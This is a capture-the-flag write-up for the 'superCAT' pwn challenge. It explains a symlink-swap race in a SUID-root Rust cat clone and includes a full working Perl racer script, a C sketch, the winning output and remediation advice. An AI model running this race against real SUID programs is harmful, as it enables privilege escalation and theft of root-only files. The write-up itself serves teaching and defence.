superCAT
superCAT
Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: toctou_symlink_swap, atomic_symlink_rename, suid_path_check_use_race, perl_racer
Summary
Walkthrough of the CUSTOM Pwn superCAT. Task: SUID-root Rust reimplementation of cat that re-runs its own permission checks in userland; std::fs::metadata (check) and fs::read_to_string (use) both follow symlinks on the same path with no fd
Description
SuperCat. DO NOT EAT. The better, newer, more tasteful version of cat. Obv. highly opinionated
A SUID-root binary /usr/local/bin/supercat is a Rust reimplementation of cat.
Provided files (supercat.tar.gz): main.rs, Dockerfile, Cargo.toml,
Cargo.lock. We connect as user ctf (uid 1000) over ncat --ssl <host> 443,
which (via socat ... EXEC:bash) drops us into a bash shell as ctf. The goal is
to read /flag (owned root:root, mode 0400).
The word "highly opinionated" is the semantic clue: the program does NOT trust the kernel for access control — it re-implements the checks itself in userland. That re-implementation is the bug.
Environment / Setup
/flag—root:root, mode0400(only root may read)./usr/local/bin/supercat— SUID root (chmod 4755,chown root:root).- We are
ctf(uid 1000, gid 1000, groups=1000), Debian bullseye image, kernel 6.12. - Tooling on the box: only
perlwas present — nogcc/cc, nopython/python3. This dictated the exploit language (Perl racer rather than C).
Baseline behaviour:
$ supercat /flag
this super cat wont be tricked by your pesky bribery attempts...
$ supercat /tmp/m # a file we own, mode 0644
<contents printed 4 times> # once per passing permission check
Analysis — the four checks and why /flag fails them
main.rs does, in pseudocode:
rust read-only • copy allowedlet file_meta = std::fs::metadata(file)?; // (1) CHECK: stats the path let (uid, gid, groups) = get_permissions(); // (2) caller's REAL uid/gid/groups // parsed from /proc/self/status (ctf=1000) let mode = file_meta.mode(); // (3) four independent checks; each PASSING check calls grant_read(file): if uid == file_meta.uid() && (mode & 0o400) != 0 { grant_read(file); } // owner read if gid == file_meta.gid() && (mode & 0o040) != 0 { grant_read(file); } // group read if groups.contains(&file_meta.gid()) && (mode & 0o040) != 0 { grant_read(file); } // supp. group if (mode & 0o004) != 0 { grant_read(file); } // other read // grant_read: fs::read_to_string(file) then print -> runs AS ROOT, follows symlinks
Two critical facts:
std::fs::metadatafollows symlinks — it reports the uid/gid/mode of the symlink target, not the link.grant_readcallsfs::read_to_string(file)on the same path string — a second, independent resolution that also follows symlinks, and because the binary is SUID root, this read happens as root.
Why /flag fails all four checks honestly:
| Check | Condition | /flag is root:root 0400 |
|---|---|---|
| owner | uid(1000) == file.uid & 0o400 | file.uid == 0 → fail |
| group | gid(1000) == file.gid & 0o040 | file.gid == 0, and 0o040 bit clear → fail |
| supp. | groups ∋ file.gid & 0o040 | group 0 not in our groups, bit clear → fail |
| other | 0o004 | other-read bit clear → fail |
So an honest supercat /flag only prints the troll message.
Root cause — TOCTOU symlink-swap (check ≠ use)
The check (metadata(file)) and the use (read_to_string(file) inside
grant_read) are two separate path resolutions of the same
user-controlled path, and both follow symlinks. There is no
file-descriptor pinning between them (the program never open()s once and then
fstat()s the same fd). That is a classic time-of-check-to-time-of-use race.
If file is a symlink we own, we can swap its target between the two operations:
- During
metadata(): link → a decoy file we own (uid 1000, mode0444). The owner checkuid == file.uid && 0o400passes (and the0o044bits make the group/supp/other checks pass too). - Before
read_to_string(): link →/flag. The privileged root read resolves to/flagand leaks the flag.
Memory safety (Rust) is irrelevant here — this is a logic/ordering bug. The flag
itself (REDACTED) is the author's joke about exactly that.
Exploitation — step by step
- Create a decoy file
mineowned byctf, mode0444, with one linedecoy. - Create a symlink
f. We will flip its target between/flagandmine. - Fork a swapper child that atomically flips
fin a tight loop. Atomicity is achieved with the create-temp-symlink +rename()trick sofis never momentarily absent:unlink $T; symlink("/flag",$T); rename($T,$F);unlink $T; symlink($M,$T); rename($T,$F);
- Parent loop repeatedly runs
supercat fand greps stdout forGPNCTF{...}. - We win when
metadata()observes the decoy (so a check passes) while the subsequent rootread_to_string()resolves to/flag.
Delivery: the Perl racer was base64-encoded locally, piped over the
ncat --ssl bash shell, decoded to /tmp/race.pl, and run under timeout.
bash read-only • copy allowed# local -> remote base64 -w0 race.pl | ncat --ssl <host> 443 # then on the remote shell: base64 -d > /tmp/race.pl <<'B64' <...payload...> B64 timeout 60 perl /tmp/race.pl
Solve script — race.pl
perl read-only • copy allowed#!/usr/bin/perl use strict; use warnings; use POSIX ":sys_wait_h"; my $BIN = "/usr/local/bin/supercat"; my $F = "f"; # the symlink supercat will open my $M = "mine"; # decoy file we own (uid 1000, mode 0444) my $T = ".tmp_link"; # temp link used for atomic rename swap # 1) decoy file we own, world-readable -> makes a check pass open(my $fh, ">", $M) or die "decoy: $!"; print $fh "decoy\n"; close($fh); chmod 0444, $M; # 2) initial symlink points at the decoy unlink $F; symlink($M, $F) or die "symlink: $!"; # 3) swapper child: atomically flip f between /flag and the decoy my $pid = fork(); die "fork: $!" unless defined $pid; if ($pid == 0) { while (1) { unlink $T; symlink("/flag", $T); rename($T, $F); unlink $T; symlink($M, $T); rename($T, $F); } exit 0; } # 4) parent: hammer supercat and look for the flag for my $i (1 .. 200000) { my $out = `$BIN $F 2>/dev/null`; if ($out =~ /(GPNCTF\{[^}]*\})/) { print "WIN iter $i\n$out"; kill 'KILL', $pid; waitpid($pid, 0); exit 0; } } kill 'KILL', $pid; waitpid($pid, 0); print "no win\n";
Winning output
It won on iteration 4. The raw stdout literally showed:
decoy
GPNCTF{REDACTED}
GPNCTF{REDACTED}
GPNCTF{REDACTED}
this super cat wont be tricked by your pesky bribery attempts...
Interpretation: metadata() saw the decoy (mode 0444), so the owner,
group and supplementary-group checks all passed; for each of those three passing
checks the root read_to_string() had already resolved the symlink to /flag,
printing the flag three times. The single decoy line and the final troll line
are the iterations where the swap landed the other way.
C variant note
If gcc/cc had been present, an equivalent (often faster) racer is race.c: a
pthread swapper thread doing the same symlink+rename flip while the main
thread fork/execs supercat f in a loop. Compile only if a C compiler
exists:
c read-only • copy allowed// race.c (sketch) — compile: cc -O2 -pthread race.c -o race // thread: loop { remove(T); symlink("/flag",T); rename(T,F); // remove(T); symlink(M,T); rename(T,F); } // main: loop { fork(); child: execl(BIN,"supercat",F,NULL); parent: read & grep }
Because only perl was available on the target, the Perl racer was the correct
choice — no compiler, no Python.
Remediation
- A SUID program must never re-implement access control and then
open()by path. Correct approaches:open()the file once andfstat()that same fd (check-and-use on a single descriptor — no second path resolution).- Use
faccessat(AT_FDCWD, path, R_OK, AT_EACCESS | AT_SYMLINK_NOFOLLOW)/ open withO_NOFOLLOWso symlinks cannot be substituted. - Drop privileges (
setuidto the real uid) before reading user-named paths, letting the kernel enforce permissions.
- Parsing real uid/gid from
/proc/self/statusto make trust decisions is also fragile, but the actually-exploited bug is the path-based check/use race, not the proc parsing. - Memory-safe languages (Rust) do not prevent logic/TOCTOU vulnerabilities.
Key Takeaways / Lessons
- Mastering toctou_symlink_swap, atomic_symlink_rename, suid_path_check_use_race, perl_racer was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-30 • CUSTOM • superCAT • Difficulty: Medium